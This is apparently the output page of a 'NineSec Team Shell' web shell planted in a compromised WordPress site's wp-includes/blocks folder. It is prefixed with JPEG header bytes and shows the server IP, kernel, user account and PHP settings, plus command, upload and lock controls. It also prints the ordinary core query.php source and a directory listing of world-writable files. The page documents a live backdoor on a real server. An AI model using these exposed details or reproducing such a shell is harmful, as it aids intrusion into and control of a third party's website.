�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/demo.readytorun.it/public_html/wp-includes/blocks/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/demo.readytorun.it/public_html/wp-includes/blocks/query.php
<?php
/**
 * Server-side rendering of the `core/query` block.
 *
 * @package WordPress
 */

/**
 * Modifies the static `core/query` block on the server.
 *
 * @since 6.4.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      The block instance.
 *
 * @return string Returns the modified output of the query block.
 */
function render_block_core_query( $attributes, $content, $block ) {
	if ( $attributes['enhancedPagination'] && isset( $attributes['queryId'] ) ) {
		$p = new WP_HTML_Tag_Processor( $content );
		if ( $p->next_tag() ) {
			// Add the necessary directives.
			$p->set_attribute( 'data-wp-interactive', true );
			$p->set_attribute( 'data-wp-navigation-id', 'query-' . $attributes['queryId'] );
			// Use context to send translated strings.
			$p->set_attribute(
				'data-wp-context',
				wp_json_encode(
					array(
						'core' => array(
							'query' => array(
								'loadingText' => __( 'Loading page, please wait.' ),
								'loadedText'  => __( 'Page Loaded.' ),
							),
						),
					),
					JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP
				)
			);
			$content = $p->get_updated_html();

			// Mark the block as interactive.
			$block->block_type->supports['interactivity'] = true;

			// Add a div to announce messages using `aria-live`.
			$html_tag = 'div';
			if ( ! empty( $attributes['tagName'] ) ) {
				$html_tag = esc_attr( $attributes['tagName'] );
			}
			$last_tag_position = strripos( $content, '</' . $html_tag . '>' );
			$content           = substr_replace(
				$content,
				'<div
					class="screen-reader-text"
					aria-live="polite"
					data-wp-text="context.core.query.message"
				></div>
				<div
					class="wp-block-query__enhanced-pagination-animation"
					data-wp-class--start-animation="selectors.core.query.startAnimation"
					data-wp-class--finish-animation="selectors.core.query.finishAnimation"
				></div>',
				$last_tag_position,
				0
			);
		}
	}

	$view_asset = 'wp-block-query-view';
	if ( ! wp_script_is( $view_asset ) ) {
		$script_handles = $block->block_type->view_script_handles;
		// If the script is not needed, and it is still in the `view_script_handles`, remove it.
		if (
			( ! $attributes['enhancedPagination'] || ! isset( $attributes['queryId'] ) )
			&& in_array( $view_asset, $script_handles, true )
		) {
			$block->block_type->view_script_handles = array_diff( $script_handles, array( $view_asset ) );
		}
		// If the script is needed, but it was previously removed, add it again.
		if ( $attributes['enhancedPagination'] && isset( $attributes['queryId'] ) && ! in_array( $view_asset, $script_handles, true ) ) {
			$block->block_type->view_script_handles = array_merge( $script_handles, array( $view_asset ) );
		}
	}

	$style_asset = 'wp-block-query';
	if ( ! wp_style_is( $style_asset ) ) {
		$style_handles = $block->block_type->style_handles;
		// If the styles are not needed, and they are still in the `style_handles`, remove them.
		if (
			( ! $attributes['enhancedPagination'] || ! isset( $attributes['queryId'] ) )
			&& in_array( $style_asset, $style_handles, true )
		) {
			$block->block_type->style_handles = array_diff( $style_handles, array( $style_asset ) );
		}
		// If the styles are needed, but they were previously removed, add them again.
		if ( $attributes['enhancedPagination'] && isset( $attributes['queryId'] ) && ! in_array( $style_asset, $style_handles, true ) ) {
			$block->block_type->style_handles = array_merge( $style_handles, array( $style_asset ) );
		}
	}

	return $content;
}

/**
 * Ensure that the view script has the `wp-interactivity` dependency.
 *
 * @since 6.4.0
 *
 * @global WP_Scripts $wp_scripts
 */
function block_core_query_ensure_interactivity_dependency() {
	global $wp_scripts;
	if (
		isset( $wp_scripts->registered['wp-block-query-view'] ) &&
		! in_array( 'wp-interactivity', $wp_scripts->registered['wp-block-query-view']->deps, true )
	) {
		$wp_scripts->registered['wp-block-query-view']->deps[] = 'wp-interactivity';
	}
}

add_action( 'wp_print_scripts', 'block_core_query_ensure_interactivity_dependency' );

/**
 * Registers the `core/query` block on the server.
 */
function register_block_core_query() {
	register_block_type_from_metadata(
		__DIR__ . '/query',
		array(
			'render_callback' => 'render_block_core_query',
		)
	);
}
add_action( 'init', 'register_block_core_query' );

/**
 * Traverse the tree of blocks looking for any plugin block (i.e., a block from
 * an installed plugin) inside a Query block with the enhanced pagination
 * enabled. If at least one is found, the enhanced pagination is effectively
 * disabled to prevent any potential incompatibilities.
 *
 * @since 6.4.0
 *
 * @param array $parsed_block The block being rendered.
 * @return string Returns the parsed block, unmodified.
 */
function block_core_query_disable_enhanced_pagination( $parsed_block ) {
	static $enhanced_query_stack   = array();
	static $dirty_enhanced_queries = array();
	static $render_query_callback  = null;

	$block_name = $parsed_block['blockName'];

	if (
		'core/query' === $block_name &&
		isset( $parsed_block['attrs']['enhancedPagination'] ) &&
		true === $parsed_block['attrs']['enhancedPagination'] &&
		isset( $parsed_block['attrs']['queryId'] )
	) {
		$enhanced_query_stack[] = $parsed_block['attrs']['queryId'];

		if ( ! isset( $render_query_callback ) ) {
			/**
			 * Filter that disables the enhanced pagination feature during block
			 * rendering when a plugin block has been found inside. It does so
			 * by adding an attribute called `data-wp-navigation-disabled` which
			 * is later handled by the front-end logic.
			 *
			 * @param string   $content  The block content.
			 * @param array    $block    The full block, including name and attributes.
			 * @return string Returns the modified output of the query block.
			 */
			$render_query_callback = static function ( $content, $block ) use ( &$enhanced_query_stack, &$dirty_enhanced_queries, &$render_query_callback ) {
				$has_enhanced_pagination =
					isset( $block['attrs']['enhancedPagination'] ) &&
					true === $block['attrs']['enhancedPagination'] &&
					isset( $block['attrs']['queryId'] );

				if ( ! $has_enhanced_pagination ) {
					return $content;
				}

				if ( isset( $dirty_enhanced_queries[ $block['attrs']['queryId'] ] ) ) {
					$p = new WP_HTML_Tag_Processor( $content );
					if ( $p->next_tag() ) {
						$p->set_attribute( 'data-wp-navigation-disabled', 'true' );
					}
					$content = $p->get_updated_html();
					$dirty_enhanced_queries[ $block['attrs']['queryId'] ] = null;
				}

				array_pop( $enhanced_query_stack );

				if ( empty( $enhanced_query_stack ) ) {
					remove_filter( 'render_block_core/query', $render_query_callback );
					$render_query_callback = null;
				}

				return $content;
			};

			add_filter( 'render_block_core/query', $render_query_callback, 10, 2 );
		}
	} elseif (
		! empty( $enhanced_query_stack ) &&
		isset( $block_name ) &&
		( ! str_starts_with( $block_name, 'core/' ) || 'core/post-content' === $block_name )
	) {
		foreach ( $enhanced_query_stack as $query_id ) {
			$dirty_enhanced_queries[ $query_id ] = true;
		}
	}

	return $parsed_block;
}

add_filter( 'render_block_data', 'block_core_query_disable_enhanced_pagination', 10, 1 );

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
January 15 2025 5:40:42
readytorun
0755
archives
--
September 11 2024 5:18:57
readytorun
0755
audio
--
September 11 2024 5:18:57
readytorun
0755
avatar
--
September 11 2024 5:18:57
readytorun
0755
block
--
September 11 2024 5:18:57
readytorun
0755
button
--
September 11 2024 5:18:57
readytorun
0755
buttons
--
September 11 2024 5:18:57
readytorun
0755
calendar
--
September 11 2024 5:18:57
readytorun
0755
categories
--
September 11 2024 5:18:57
readytorun
0755
code
--
September 11 2024 5:18:57
readytorun
0755
column
--
September 11 2024 5:18:57
readytorun
0755
columns
--
September 11 2024 5:18:57
readytorun
0755
comment-author-name
--
September 11 2024 5:18:57
readytorun
0755
comment-content
--
September 11 2024 5:18:57
readytorun
0755
comment-date
--
September 11 2024 5:18:57
readytorun
0755
comment-edit-link
--
September 11 2024 5:18:57
readytorun
0755
comment-reply-link
--
September 11 2024 5:18:57
readytorun
0755
comment-template
--
September 11 2024 5:18:57
readytorun
0755
comments
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination-next
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination-numbers
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination-previous
--
September 11 2024 5:18:57
readytorun
0755
comments-title
--
September 11 2024 5:18:57
readytorun
0755
cover
--
November 14 2025 9:26:20
readytorun
0755
details
--
September 11 2024 5:18:57
readytorun
0755
embed
--
September 11 2024 5:18:57
readytorun
0755
file
--
September 11 2024 5:18:57
readytorun
0755
footnotes
--
September 11 2024 5:18:57
readytorun
0755
freeform
--
October 25 2025 3:08:29
readytorun
0755
gallery
--
September 11 2024 5:18:57
readytorun
0755
group
--
September 11 2024 5:18:57
readytorun
0755
heading
--
September 11 2024 5:18:57
readytorun
0755
home-link
--
September 11 2024 5:18:57
readytorun
0755
html
--
September 11 2024 5:18:57
readytorun
0755
image
--
September 11 2024 5:18:57
readytorun
0755
latest-comments
--
September 11 2024 5:18:57
readytorun
0755
latest-posts
--
September 11 2024 5:18:57
readytorun
0755
legacy-widget
--
September 11 2024 5:18:57
readytorun
0755
list
--
September 11 2024 5:18:57
readytorun
0755
list-item
--
September 11 2024 5:18:57
readytorun
0755
loginout
--
September 11 2024 5:18:57
readytorun
0755
media-text
--
September 11 2024 5:18:57
readytorun
0755
missing
--
September 11 2024 5:18:57
readytorun
0755
more
--
September 11 2024 5:18:57
readytorun
0755
navigation
--
September 11 2024 5:18:57
readytorun
0755
navigation-link
--
September 11 2024 5:18:57
readytorun
0755
navigation-submenu
--
September 11 2024 5:18:57
readytorun
0755
nextpage
--
September 11 2024 5:18:57
readytorun
0755
page-list
--
September 11 2024 5:18:57
readytorun
0755
page-list-item
--
September 11 2024 5:18:57
readytorun
0755
paragraph
--
September 11 2024 5:19:31
readytorun
0755
pattern
--
September 11 2024 5:18:57
readytorun
0755
post-author
--
September 11 2024 5:18:57
readytorun
0755
post-author-biography
--
September 11 2024 5:18:57
readytorun
0755
post-author-name
--
September 11 2024 5:18:57
readytorun
0755
post-comments-form
--
November 01 2025 8:15:34
readytorun
0755
post-content
--
September 11 2024 5:18:57
readytorun
0755
post-date
--
September 11 2024 5:18:57
readytorun
0755
post-excerpt
--
September 11 2024 5:18:57
readytorun
0755
post-featured-image
--
September 11 2024 5:18:57
readytorun
0755
post-navigation-link
--
September 11 2024 5:18:57
readytorun
0755
post-template
--
September 11 2024 5:18:57
readytorun
0755
post-terms
--
September 11 2024 5:18:57
readytorun
0755
post-title
--
September 11 2024 5:18:57
readytorun
0755
preformatted
--
September 11 2024 5:18:57
readytorun
0755
pullquote
--
September 11 2024 5:18:57
readytorun
0755
query
--
September 11 2024 5:18:57
readytorun
0755
query-no-results
--
September 11 2024 5:18:57
readytorun
0755
query-pagination
--
September 11 2024 5:18:57
readytorun
0755
query-pagination-next
--
September 11 2024 5:18:57
readytorun
0755
query-pagination-numbers
--
September 11 2024 5:18:57
readytorun
0755
query-pagination-previous
--
October 25 2025 3:08:22
readytorun
0755
query-title
--
September 11 2024 5:18:57
readytorun
0755
quote
--
September 11 2024 5:18:57
readytorun
0755
read-more
--
September 11 2024 5:18:57
readytorun
0755
rss
--
September 11 2024 5:18:57
readytorun
0755
search
--
September 11 2024 5:18:57
readytorun
0755
separator
--
September 11 2024 5:18:57
readytorun
0755
shortcode
--
September 11 2024 5:18:57
readytorun
0755
site-logo
--
September 11 2024 5:18:57
readytorun
0755
site-tagline
--
September 11 2024 5:18:57
readytorun
0755
site-title
--
September 11 2024 5:18:57
readytorun
0755
social-link
--
September 11 2024 5:18:57
readytorun
0755
social-links
--
October 14 2024 9:05:58
readytorun
0755
spacer
--
September 11 2024 5:18:57
readytorun
0755
table
--
September 11 2024 5:18:57
readytorun
0755
tag-cloud
--
September 11 2024 5:18:57
readytorun
0755
template-part
--
September 11 2024 5:18:57
readytorun
0755
term-description
--
September 11 2024 5:18:57
readytorun
0755
text-columns
--
September 11 2024 5:18:57
readytorun
0755
verse
--
October 25 2025 3:08:27
readytorun
0755
video
--
September 11 2024 5:18:57
readytorun
0755
widget-group
--
September 11 2024 5:18:57
readytorun
0755
.htaccess
0.124 KB
November 14 2025 9:26:18
readytorun
0444
archives.php
2.458 KB
March 04 2024 2:19:00
readytorun
0777
avatar.php
5.503 KB
November 10 2023 1:05:53
readytorun
0777
block.php
1.566 KB
August 28 2023 5:03:53
readytorun
0777
blocks-json.php
159.815 KB
November 10 2023 1:05:53
readytorun
0777
calendar.php
5.986 KB
November 10 2023 1:05:53
readytorun
0777
categories.php
2.781 KB
August 28 2023 5:03:53
readytorun
0777
comment-author-name.php
2.046 KB
August 28 2023 5:03:52
readytorun
0777
comment-content.php
2.364 KB
August 28 2023 5:03:52
readytorun
0777
comment-date.php
1.559 KB
August 28 2023 5:03:53
readytorun
0777
comment-edit-link.php
1.636 KB
August 28 2023 5:03:53
readytorun
0777
comment-reply-link.php
1.989 KB
August 28 2023 5:03:53
readytorun
0777
comment-template.php
4.352 KB
November 10 2023 1:05:53
readytorun
0777
comments-pagination-next.php
1.811 KB
November 10 2023 1:05:53
readytorun
0777
comments-pagination-numbers.php
1.557 KB
August 28 2023 5:03:53
readytorun
0777
comments-pagination-previous.php
1.607 KB
November 10 2023 1:05:53
readytorun
0777
comments-pagination.php
1.134 KB
August 28 2023 5:03:53
readytorun
0777
comments-title.php
2.67 KB
August 28 2023 5:03:52
readytorun
0777
comments.php
6.469 KB
August 28 2023 5:03:52
readytorun
0777
cover.php
2.452 KB
August 28 2023 5:03:53
readytorun
0777
file.php
3.261 KB
November 10 2023 1:05:53
readytorun
0777
footnotes.php
3.031 KB
November 10 2023 1:05:53
readytorun
0777
gallery.php
4.836 KB
November 10 2023 1:05:53
readytorun
0777
heading.php
1.233 KB
August 28 2023 5:03:52
readytorun
0777
home-link.php
5.192 KB
November 10 2023 1:05:53
readytorun
0777
image.php
14.358 KB
November 10 2023 1:05:53
readytorun
0777
index.php
4.478 KB
November 10 2023 1:05:53
readytorun
0777
latest-comments.php
4.885 KB
August 28 2023 5:03:53
readytorun
0777
latest-posts.php
8.17 KB
November 10 2023 1:05:53
readytorun
0777
legacy-widget.php
3.811 KB
August 28 2023 5:03:52
readytorun
0777
loginout.php
1.348 KB
August 28 2023 5:03:52
readytorun
0777
navigation-link.php
11.649 KB
August 28 2023 5:03:54
readytorun
0777
navigation-submenu.php
8.814 KB
November 10 2023 1:05:53
readytorun
0777
navigation.php
37.307 KB
November 10 2023 1:05:53
readytorun
0777
page-list-item.php
0.334 KB
August 28 2023 5:03:52
readytorun
0777
page-list.php
13.137 KB
August 28 2023 5:03:53
readytorun
0777
pattern.php
1.404 KB
November 10 2023 1:05:53
readytorun
0777
post-author-biography.php
1.414 KB
August 28 2023 5:03:53
readytorun
0777
post-author-name.php
1.705 KB
August 28 2023 5:03:53
readytorun
0777
post-author.php
2.507 KB
August 28 2023 5:03:53
readytorun
0777
post-comments-form.php
2.684 KB
August 28 2023 5:03:52
readytorun
0777
post-content.php
2.068 KB
November 10 2023 1:05:53
readytorun
0777
post-date.php
2.289 KB
August 28 2023 5:03:52
readytorun
0777
post-excerpt.php
3.329 KB
November 10 2023 1:05:53
readytorun
0777
post-featured-image.php
7.374 KB
November 10 2023 1:05:53
readytorun
0777
post-navigation-link.php
4.378 KB
November 10 2023 1:05:53
readytorun
0777
post-template.php
5.521 KB
November 10 2023 1:05:53
readytorun
0777
post-terms.php
3.307 KB
November 10 2023 1:05:53
readytorun
0777
post-title.php
2.019 KB
August 28 2023 5:03:52
readytorun
0777
query-no-results.php
1.711 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination-next.php
3.596 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination-numbers.php
4.409 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination-previous.php
3.052 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination.php
1.111 KB
August 28 2023 5:03:52
readytorun
0777
query-title.php
2.012 KB
August 28 2023 5:03:53
readytorun
0777
query.php
7.163 KB
January 31 2024 5:29:18
readytorun
0777
read-more.php
1.75 KB
August 28 2023 5:03:51
readytorun
0777
require-dynamic-blocks.php
3.852 KB
August 28 2023 5:03:53
readytorun
0777
require-static-blocks.php
0.523 KB
August 28 2023 5:03:54
readytorun
0777
rss.php
3.834 KB
August 28 2023 5:03:51
readytorun
0777
search.php
23.936 KB
November 10 2023 1:05:53
readytorun
0777
shortcode.php
0.681 KB
August 28 2023 5:03:52
readytorun
0777
site-logo.php
5.794 KB
August 28 2023 5:03:52
readytorun
0777
site-tagline.php
0.971 KB
August 28 2023 5:03:51
readytorun
0777
site-title.php
1.729 KB
August 28 2023 5:03:52
readytorun
0777
social-link.php
60.442 KB
November 10 2023 1:05:53
readytorun
0777
tag-cloud.php
1.37 KB
August 28 2023 5:03:54
readytorun
0777
template-part.php
9.436 KB
November 10 2023 1:05:53
readytorun
0777
term-description.php
1.268 KB
August 28 2023 5:03:51
readytorun
0777
widget-group.php
2.115 KB
August 28 2023 5:03:53
readytorun
0777

NineSec Team - 2022